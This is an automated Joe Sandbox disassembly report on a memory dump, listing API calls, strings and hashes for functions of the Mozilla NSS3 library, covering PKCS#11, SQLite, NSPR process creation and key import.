NSC_GetInterface, xrefs: 6CE7C04F
FC_GetFunctionList, xrefs: 6CE7C098
PKCS 11, xrefs: 6CE7C2F9, 6CE7C314
NSC_ModuleDBFunc, xrefs: 6CE7C0FC
nss_mod_log, xrefs: 6CE7C3CC
NSS_FORCE_TOKEN_LOCK, xrefs: 6CE7C77D
NSC_GetFunctionList, xrefs: 6CE7C093
FC_GetInterface, xrefs: 6CE7C054
NSS_DISABLE_UNLOAD, xrefs: 6CE7C7B0
NSS_DEBUG_PKCS11_MODULE, xrefs: 6CE7C38D

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 5fc56009ec39bd95bbb6fc341cdcee3df85b064c3fc19b0413ce84ba8b1c0739
Instruction ID: 838d311b1aea032d7ee64c88f8fd376895c9e5bcf5640f0f9b8e7a64827b7bd5
Opcode Fuzzy Hash: 5fc56009ec39bd95bbb6fc341cdcee3df85b064c3fc19b0413ce84ba8b1c0739
Instruction Fuzzy Hash: D6427DB1B10204CFEB64DFA5E847B5EBBB4FB46308F244029D8099BB21E736D555CBA1

Function 6CF53FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6CF53FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CF53FFE
malloc.MOZGLUE(-00000003), ref: 6CF54016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6CF8FC62), ref: 6CF5404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CF5407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CF540A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CF540D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF54112
malloc.MOZGLUE(00000000), ref: 6CF5411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6CF5414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF54160
free.MOZGLUE(?), ref: 6CF5416C
malloc.MOZGLUE(?), ref: 6CF541AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6CF541EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6CF54520), ref: 6CF54244
GetEnvironmentStrings.KERNEL32 ref: 6CF5424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF54263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF54283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF542B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF542E4
malloc.MOZGLUE(00000002), ref: 6CF542FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CF54342
GetStdHandle.KERNEL32(000000F6), ref: 6CF543AB
GetStdHandle.KERNEL32(000000F5), ref: 6CF543B2
GetStdHandle.KERNEL32(000000F4), ref: 6CF543B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CF54403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF54410

Part of subcall function 6CEEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEEC2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6CF5445E
CloseHandle.KERNEL32(?), ref: 6CF5446B
free.MOZGLUE(?), ref: 6CF54482
free.MOZGLUE(00000000), ref: 6CF54492
free.MOZGLUE(00000000), ref: 6CF544A4
GetLastError.KERNEL32 ref: 6CF544B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6CF544BE
free.MOZGLUE(?), ref: 6CF544C7
free.MOZGLUE(00000000), ref: 6CF544D5
free.MOZGLUE(00000000), ref: 6CF544EA

Strings

NSPR_INHERIT_FDS=, xrefs: 6CF541E9
D, xrefs: 6CF54396
=, xrefs: 6CF544F8

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: 2e01f8baf65b5d7d6d1feb370f00bd54b6f9ff14413d321bd34825a2be334227
Instruction ID: e8413b942d929881b98c031261d479c198d3afbf4b9e0b1ddd6a9cb710b067b4
Opcode Fuzzy Hash: 2e01f8baf65b5d7d6d1feb370f00bd54b6f9ff14413d321bd34825a2be334227
Instruction Fuzzy Hash: E202F571E043519FEF11CF6988407AEBFB4AF26308F654129DE6AA7B41D7319834CB91

Function 6CE66D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6CF6A8EC,0000006C), ref: 6CE66DC6
memcpy.VCRUNTIME140(?,6CF6A958,0000006C), ref: 6CE66DDB
memcpy.VCRUNTIME140(?,6CF6A9C4,00000078), ref: 6CE66DF1
memcpy.VCRUNTIME140(?,6CF6AA3C,0000006C), ref: 6CE66E06
memcpy.VCRUNTIME140(?,6CF6AAA8,00000060), ref: 6CE66E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE66E38

Part of subcall function 6CEEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEEC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CE66E76
TlsGetValue.KERNEL32 ref: 6CE6726F
EnterCriticalSection.KERNEL32(?), ref: 6CE67283

Strings

!, xrefs: 6CE67123

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: efe45d57d7e845eec9834ff672e39744dc5bb7bddc1a2c42a71920813e0f1b46
Instruction ID: fb508095c91c83fabb9ca6b83adfb8541d06331f57a0cd06bd798399d0618f8c
Opcode Fuzzy Hash: efe45d57d7e845eec9834ff672e39744dc5bb7bddc1a2c42a71920813e0f1b46
Instruction Fuzzy Hash: 5172A0B5D552189FDF60CF29CC8879ABBB5AF49308F2041E9D80DA7701E731AA85CF91

Function 6CDD3C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDD3C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6CDD3D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDD3EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDD3ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDD3F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDD4052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDD406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CDD410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDD449C

Strings

%s at line %d of [%.10s], xrefs: 6CDD4495, 6CDD44F9, 6CDD459E, 6CDD4769, 6CDD4809
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDD4452, 6CDD4486, 6CDD44EA, 6CDD4571, 6CDD4580, 6CDD458F, 6CDD475A, 6CDD47FA
database corruption, xrefs: 6CDD4490, 6CDD44F4, 6CDD4599, 6CDD4764, 6CDD4804

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: 6e466073a9b1ca9fb994c59a48b98ac9273f7e9046b513ddc7a72bcea5839b88
Instruction ID: 7c198f5e00bc4684ca215b5c625bf84217198e7d5d3fd1c62e337b49391c073b
Opcode Fuzzy Hash: 6e466073a9b1ca9fb994c59a48b98ac9273f7e9046b513ddc7a72bcea5839b88
Instruction Fuzzy Hash: 73826E75E00205DFCB04CF69C490B9AB7B2BF49318F2685A9D905ABB61D731FC46CBA1

Function 6CEAAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEAACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6CEAACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6CEAACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6CEAAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CEAADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEAADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEAADF0

Part of subcall function 6CEEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEEC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEAB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEAB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEAB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEAB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6CEAB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEAB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEAB40C

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: b52315f46bfc684c4b424d1ff213334c13e8b533d016f0d11b4a3321a5cc1ace
Instruction ID: 53afcbead68192b3d0831e221edc67eba468d93bded145f17ed2bb1707ef60eb
Opcode Fuzzy Hash: b52315f46bfc684c4b424d1ff213334c13e8b533d016f0d11b4a3321a5cc1ace
Instruction Fuzzy Hash: 3C228C71904300AFE710CF95CC81B9A77B1AF8430CF24856CE9595F7A2E772E85ACB96

Function 6CDF1F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CDF25F3

Strings

no such index: "%s", xrefs: 6CDF319D
%s.%s, xrefs: 6CDF2D68
access to view "%s" prohibited, xrefs: 6CDF2F4A
a NATURAL join may not have an ON or USING clause, xrefs: 6CDF32C1
H, xrefs: 6CDF322D
too many references to "%s": max 65535, xrefs: 6CDF2FB6
cannot have both ON and USING clauses in the same join, xrefs: 6CDF32B5
H, xrefs: 6CDF329F
unsafe use of virtual table "%s", xrefs: 6CDF30D1
'%s' is not a function, xrefs: 6CDF2FD2
recursive reference in a subquery: %s, xrefs: 6CDF22E5
no tables specified, xrefs: 6CDF26BE
%s.%s.%s, xrefs: 6CDF302D
cannot join using column %s - column not present in both tables, xrefs: 6CDF32AB
no such table: %s, xrefs: 6CDF26AC
multiple recursive references: %s, xrefs: 6CDF22E0
table %s has %d values for %d columns, xrefs: 6CDF316C
too many columns in result set, xrefs: 6CDF3012

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: 31e9552b380a57916c299fcc7c2384675a5508ef6b2fa3a41f1710ff116545fe
Instruction ID: c01c92a745a26f7aca4ca1715c1b9bcf9ff2e9a100fa5747878ad2360afa406b
Opcode Fuzzy Hash: 31e9552b380a57916c299fcc7c2384675a5508ef6b2fa3a41f1710ff116545fe
Instruction Fuzzy Hash: 85D27C70E04289CFDB04CF99C494B9EB7B1BF4931CF2A8169D865ABB61D731A847CB50

Function 6CE2ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CE2ED38

Part of subcall function 6CDC4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDC4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CE2EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CE2EFE4

Part of subcall function 6CEEDFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CDC5001,?,00000003,00000000), ref: 6CEEDFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CE2F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CE2F129
sqlite3_mprintf.NSS3(optimize), ref: 6CE2F1D1
sqlite3_free.NSS3(?), ref: 6CE2F368

Strings

optimize, xrefs: 6CE2F199, 6CE2F1CC, 6CE2F211
fts4aux, xrefs: 6CE2ECF9
snippet, xrefs: 6CE2EF05, 6CE2EF37, 6CE2EF7C
simple, xrefs: 6CE2ED79
porter, xrefs: 6CE2ED97
fts3, xrefs: 6CE2F247
fts3_tokenizer, xrefs: 6CE2EE1A, 6CE2EEA8
unicode61, xrefs: 6CE2EDB5
fts3tokenize, xrefs: 6CE2F30F
fts4, xrefs: 6CE2F2AD
matchinfo, xrefs: 6CE2F04F, 6CE2F082, 6CE2F0C2, 6CE2F0F2, 6CE2F124, 6CE2F169
offsets, xrefs: 6CE2EFAF, 6CE2EFDF, 6CE2F01F

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: e7d2beb0fbe5d3c20148b381103cfb7ce5b07e42dd5fd177347a89af139eb6f3
Instruction ID: edcb8240cfc92f2bf90604f5217ac50507e5fdecbc3e5b5873702d2221ac8918
Opcode Fuzzy Hash: e7d2beb0fbe5d3c20148b381103cfb7ce5b07e42dd5fd177347a89af139eb6f3
Instruction Fuzzy Hash: EE0212B2B043109BEB049F71A88172B36B5BFC570CF24853DD85A87B14EB7DE8468792

Function 6CEA7C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEA7C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6CEA7C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6CEA7D1E

Part of subcall function 6CEA7870: SECOID_FindOID_Util.NSS3(?,?,?,6CEA91C5), ref: 6CEA788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEA7D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CEA7D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CEA7DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEA7DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEA7DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CEA7E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CEA7E58

Part of subcall function 6CEA7870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CEA91C5), ref: 6CEA78BB
Part of subcall function 6CEA7870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6CEA91C5), ref: 6CEA78FA
Part of subcall function 6CEA7870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6CEA91C5), ref: 6CEA7930
Part of subcall function 6CEA7870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CEA91C5), ref: 6CEA7951
Part of subcall function 6CEA7870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CEA7964
Part of subcall function 6CEA7870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CEA797A
Part of subcall function 6CEA7870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CEA7988
Part of subcall function 6CEA7870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6CEA7998
Part of subcall function 6CEA7870: free.MOZGLUE(00000000), ref: 6CEA79A7
Part of subcall function 6CEA7870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6CEA91C5), ref: 6CEA79BB
Part of subcall function 6CEA7870: PR_GetCurrentThread.NSS3(?,?,?,?,6CEA91C5), ref: 6CEA79CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEA7E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEA7F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CEA7F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEA7FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CEA7FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6CEA8038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CEA8050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CEA8093
SECOID_FindOID_Util.NSS3 ref: 6CEA7F29

Part of subcall function 6CEA07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE48298,?,?,?,6CE3FCE5,?), ref: 6CEA07BF
Part of subcall function 6CEA07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CEA07E6
Part of subcall function 6CEA07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEA081B
Part of subcall function 6CEA07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEA0825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CEA8072
SECOID_FindOID_Util.NSS3 ref: 6CEA80F5

Part of subcall function 6CEABC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6CEA800A,00000000,?,00000000,?), ref: 6CEABC3F

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: d3718805524b328537d5e01d9851c827ce8eba10633703c926e2d027c80d1072
Instruction ID: 2203645551593a91f2cff17d31c29c70454264c91d855aedccaf4484513b3196
Opcode Fuzzy Hash: d3718805524b328537d5e01d9851c827ce8eba10633703c926e2d027c80d1072
Instruction Fuzzy Hash: 07E16E716043009FE710CF69C880B5AB7F5AF4930CF24496DE89A9FB55E732E856CB92

Function 6CE31C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6CE31C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6CE31C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6CE31CA1
GetLengthSid.ADVAPI32(?), ref: 6CE31CA9
malloc.MOZGLUE(00000000), ref: 6CE31CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CE31CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6CE31CE4
GetLengthSid.ADVAPI32(?), ref: 6CE31CEC
malloc.MOZGLUE(00000000), ref: 6CE31CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CE31D0F
CloseHandle.KERNEL32(?), ref: 6CE31D17
AllocateAndInitializeSid.ADVAPI32 ref: 6CE31D4D
GetLastError.KERNEL32 ref: 6CE31D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6CE31D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6CE31D7A

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 188941f7f85227f8ab1757cc5ceeed178b6dc0a2d3380d441cdc606ed25bc7e3
Instruction ID: 2b1b00358a27dc74f5cebc5fc1f1b0bcf47de2b02b29ae0a4486eabebf05a7d6
Opcode Fuzzy Hash: 188941f7f85227f8ab1757cc5ceeed178b6dc0a2d3380d441cdc606ed25bc7e3
Instruction Fuzzy Hash: 223163B1E10218AFEF51EF64DC48BAABBB8FF4A345F004069F609D2250E7315994CF65

Function 6CE33D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CE33DFB
__allrem.LIBCMT ref: 6CE33EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE33FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CE34047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE340DE
